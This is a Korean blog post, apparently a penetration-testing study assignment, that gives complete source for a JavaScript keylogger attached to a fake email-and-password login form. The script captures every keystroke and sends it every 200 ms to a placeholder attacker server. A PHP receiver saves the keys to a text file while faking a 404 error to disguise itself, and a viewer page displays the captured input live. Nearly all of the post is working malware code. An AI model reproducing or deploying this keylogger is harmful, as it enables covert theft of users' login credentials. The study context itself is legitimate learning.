Archive for Dev. (junyup2)

지식을 채워가는 『개발자/화이트해커』를 목표로 정리하는 블로그

모의 해킹 스터디/모의 해킹 - 과제

[과제] 04주차 (1-1 β) 키 로거 구현 (로그인 창)

Gearvirus(junyup2) 2023. 11. 22. 04:01

모의 해킹 스터디 - 4주차 과제 (1-1) 키 로거 추가 구현

 

 

코드 구성
  • key_logger.html
  • key_logger.js
  • key_logger.php
  • view.html

key_logger.html

<!DOCTYPE html>
<html lang="'ko">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>JavaScript Keylogger</title>
        <script src="key_logger.js"></script>
    </head>
    <body>
        <form>
            <div class="login">
                <h2>Login Form</h2>
                <input type="email" placeholder="User E-mail"><br><br>
                <input type="password" placeholder="Password"><br><br>
                <button type="submit">Login</button>
            </div>
        </form>
    </body>
</html>
  • 로그인 폼의 키로거


key_logger.js

var keys='';
var url = 'http://ip adress/key_logger.php?c=';

document.onkeydown = function(e) {
	var key = e.key;
	keys+=key;
}
window.setInterval(function(){
	if(keys.length > 0) {
		var data = encodeURIComponent(keys)
        new Image().src = url + data;
		keys = '';
	}
}, 200);

document.onkeydown = function(e) {
buffer = e.key;
}
  • 위와 같이 작성시 문자를 빠르게 입력하면 누락이 발생
    • (정확한 이유는 모르겠음)

key_logger.php

<?php
    header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
    header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
    header('Access-Control-Allow-Credentials: true');
    header('Access-Control-Allow-Origin: *');
    header('Access-Control-Allow-Headers: Content-Type, *');

    $file = 'key_logger.txt';

    if(isset($_REQUEST['c']) && !empty($_REQUEST['c'])){
        file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
    }
?>

view.html

<html>
    <body>
    	<iframe name="log" src="./key_logger.txt" width="100%" height="100%"></iframe>
        <script>
            function refresh(){
                 parent.log.location.href="./key_logger.txt";
                 setTimeout("refresh()",1000);
            }
            refresh();
        </script>
    </body>
</html>

 

  • 창에서 입력시, 콘솔(console)에 입력이 전달되는 것을 확인 가능
  • 일부로 404에러가 난 것처럼 표현
  • 입력된 키는 key_logger.txt에 삽입 됨
  • view.html에서 key_logger.txt의 내용을 일정 주기로 새로고침하면서 보여줌
  • 실시간으로 키로깅되는 것처럼 표현

 


 

질문 환영, 수정 및 보완에 대한 지적 환영